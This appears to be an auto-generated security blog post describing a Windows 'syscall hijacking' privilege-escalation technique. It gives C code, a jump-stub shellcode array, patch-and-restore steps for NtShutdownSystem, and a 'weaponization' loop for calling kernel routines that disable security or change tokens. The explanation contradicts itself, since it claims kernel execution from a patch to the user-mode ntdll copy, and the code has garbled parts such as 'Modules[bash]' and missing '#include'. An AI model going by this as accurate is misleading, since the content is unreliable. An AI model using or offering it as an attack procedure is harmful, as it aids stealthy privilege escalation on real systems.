Listen to this Post

Introduction:
A novel kernel-level exploit technique has been demonstrated, leveraging physical memory primitives to hijack legitimate system calls. This method bypasses traditional security controls by temporarily patching a Windows syscall to redirect its execution flow to any chosen kernel routine, granting an attacker arbitrary code execution with ring 0 privileges.
Learning Objectives:
- Understand the mechanics of parsing kernel export tables from user mode.
- Learn how to construct and deploy a jump stub to redirect syscall execution.
- Grasp the critical importance of syscall integrity and techniques for its mitigation.
You Should Know:
1. Enumerating Kernel Base Address
The kernel base address is the foundation for calculating the location of all exported routines. This can be retrieved from a user-mode process using the `NtQuerySystemInformation` API call.
include <windows.h>
include <stdio.h>
include <winternl.h>
typedef NTSTATUS (NTAPI _NtQuerySystemInformation)(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
DWORD64 GetKernelBase() {
_NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation");
NTSTATUS status;
ULONG len;
PSYSTEM_MODULE_INFORMATION ModuleInfo;
// First call to get the required buffer size
status = NtQuerySystemInformation(11, NULL, 0, &len);
if (status != 0xC0000004) // STATUS_INFO_LENGTH_MISMATCH
return 0;
ModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);
status = NtQuerySystemInformation(11, ModuleInfo, len, &len);
if (status != 0) { // STATUS_SUCCESS
GlobalFree(ModuleInfo);
return 0;
}
// The first module is typically ntoskrnl.exe
DWORD64 baseAddr = (DWORD64)ModuleInfo->Modules[bash].ImageBase;
GlobalFree(ModuleInfo);
return baseAddr;
}
Step-by-step guide: This code dynamically retrieves the address of `NtQuerySystemInformation` from ntdll.dll. It queries for system module information (class 11), which returns a list of loaded kernel drivers. The first entry in this list is typically the base address of ntoskrnl.exe, the core Windows kernel image.
2. Parsing the PE Export Directory
Once the base address is known, you must parse the kernel’s Portable Executable (PE) headers in memory to locate its Export Address Table (EAT), which contains the addresses of all its exported functions.
// Pseudo-code for parsing kernel PE exports from user mode
1. Read the DOS header from the kernel base address (validate 'MZ' signature).
2. Locate the NT headers offset from the DOS header's `e_lfanew` field.
3. Validate the NT headers ('PE\0\0' signature).
4. Navigate to the Optional Header and retrieve the `DataDirectory[bash]` (Export Directory) VirtualAddress and Size.
5. The Export Directory's VirtualAddress is an RVA. Add it to the kernel base to get its virtual address.
6. Read the Export Directory structure to find the number of functions and the pointers to the Name Pointer Table, Ordinal Table, and Address Table.
Step-by-step guide: This process involves reading the kernel’s memory from user mode, which requires careful handling to avoid access violations. Tools like the Windows Driver Kit (WDK) definitions are crucial for correctly mapping the in-memory PE structures. The `get_kmodule_export` function mentioned in the source material automates this complex process.
3. Constructing the Absolute Jump Stub
The exploit’s core is a small piece of shellcode that performs an absolute jump to the calculated address of the target kernel routine. This is written directly over the beginning of the `NtShutdownSystem` syscall.
// x64 Assembly for Absolute Indirect Jump
BYTE jump_stub[] = {
0xFF, 0x25, 0x00, 0x00, 0x00, 0x00, // JMP [RIP+0]
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 // Absolute target address (8 bytes)
};
// Copy the target routine's address into the last 8 bytes of the `jump_stub` array.
Step-by-step guide: The opcode `FF 25` is a near, absolute indirect jump. The following four zeros are a displacement that is effectively ignored in 64-bit mode when RIP-relative addressing is used, making the next quadword the absolute target address. This stub is written to the syscall’s memory location.
4. Patching the Syscall in Memory
Writing the jump stub to the syscall’s address in kernel memory is a privileged operation that requires altering page protection.
// Pseudo-code for patching the syscall 1. Locate the virtual address of `NtShutdownSystem` within the ntdll.dll in the user-mode process. 2. Use `VirtualProtect` to change the page protection of this memory to PAGE_EXECUTE_READWRITE. 3. Save the original first few bytes of the syscall for later restoration. 4. Write the prepared `jump_stub` shellcode to the start of the syscall function. 5. Use `VirtualProtect` to restore the original page protection.
Step-by-step guide: This step is performed in user mode on the `ntdll.dll` copy of the syscall. The actual kernel syscall table is not modified. The patch redirects the execution path when the user-mode code calls into the kernel via the modified `ntdll` gateway.
5. Invoking the Hijacked Syscall
After the patch is applied, calling the standard `NtShutdownSystem` function from user mode will trigger the exploit.
// Define the syscall function prototype
typedef NTSTATUS (NTAPI PNtShutdownSystem)(ULONG Action);
// ... after patching ...
PNtShutdownSystem NtShutdownSystem = (PNtShutdownSystem)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtShutdownSystem");
NTSTATUS status = NtShutdownSystem(0); // This now jumps to the chosen kernel export.
Step-by-step guide: This call, which would normally initiate a system shutdown, is now hijacked. The crafted jump stub executes, transferring control flow directly to the kernel export (e.g., PsGetCurrentProcess, DbgPrint) with full kernel privileges. The function arguments passed (like `0` for Action) are now passed to the hijacked routine.
6. Restoring Original Bytes to Avoid Detection
To maintain system stability and avoid a crash (BSOD) upon the next call, the original bytes of the syscall must be immediately restored after the jump stub has been executed.
// Pseudo-code for cleanup 1. After invoking the patched syscall, immediately re-patch the memory. 2. Use `VirtualProtect` to again grant write permissions on the syscall's memory page. 3. Overwrite the jump stub with the originally saved bytes. 4. Restore the original page protection flags.
Step-by-step guide: This restoration is critical. The exploit is designed to be ephemeral, only altering the syscall for the duration of a single invocation. This makes the technique exceptionally stealthy and difficult to detect with traditional hooking-based security solutions.
7. Weaponization and Automation
The final step involves automating this process to iterate through multiple valuable kernel exports, turning the technique into a reliable privilege escalation primitive.
// High-level logic for automation
for (const char export_name : target_exports) {
DWORD64 export_rva = get_kmodule_export(kernel_base, export_name);
DWORD64 export_addr = kernel_base + export_rva;
create_jump_stub(export_addr);
patch_syscall("NtShutdownSystem", jump_stub);
call_patched_syscall();
restore_syscall();
}
Step-by-step guide: This loop demonstrates how an attacker could systematically call a list of kernel functions, such as `ExAllocatePoolWithTag` to allocate kernel memory or other routines to disable security policies, install a driver, or directly modify process tokens.
What Undercode Say:
- This technique demonstrates a dangerous evolution in user-to-kernel exploitation, moving away from corrupting memory to surgically repurposing legitimate OS mechanisms.
- Its ephemeral nature presents a significant detection challenge for Endpoint Detection and Response (EDR) systems that rely on persistent hooks.
The exploitation method revealed is a paradigm shift. Instead of relying on buffer overflows or memory corruption vulnerabilities, it weaponizes a fundamental Windows feature: the export table. By combining precise memory parsing with temporary code patching, it achieves kernel execution with minimal footprint. This bypasses most kernel patch protection (KPP) and driver signature enforcement (DSE) mechanisms because no malicious driver is loaded; only existing, signed code is executed, albeit not as intended. The primary mitigation lies in stronger control flow integrity (CFI) and hypervisor-protected code integrity (HVCI) which can prevent the unauthorized patching of kernel memory, even from a user-mode context.
Prediction:
This syscall hijacking technique will rapidly be incorporated into advanced penetration testing frameworks and malware kits, leading to a new class of fileless kernel-level attacks. Defenders will be forced to accelerate the adoption of hardware-isolated security (like Windows Defender System Guard) and AI-driven behavioral analysis that can detect the anomalous execution of kernel exports originating from unexpected syscall gates. A short-term spike in privilege escalation incidents leveraging this method is highly probable before mitigations become widespread.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Juan Sacco – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅


